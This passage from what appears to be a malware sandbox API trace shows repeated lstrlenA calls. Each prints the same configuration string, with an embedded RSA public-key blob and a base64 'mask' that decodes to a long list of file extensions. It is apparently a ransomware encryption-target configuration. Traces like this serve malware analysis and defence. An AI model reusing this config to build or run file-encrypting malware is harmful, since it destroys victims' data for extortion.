LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmE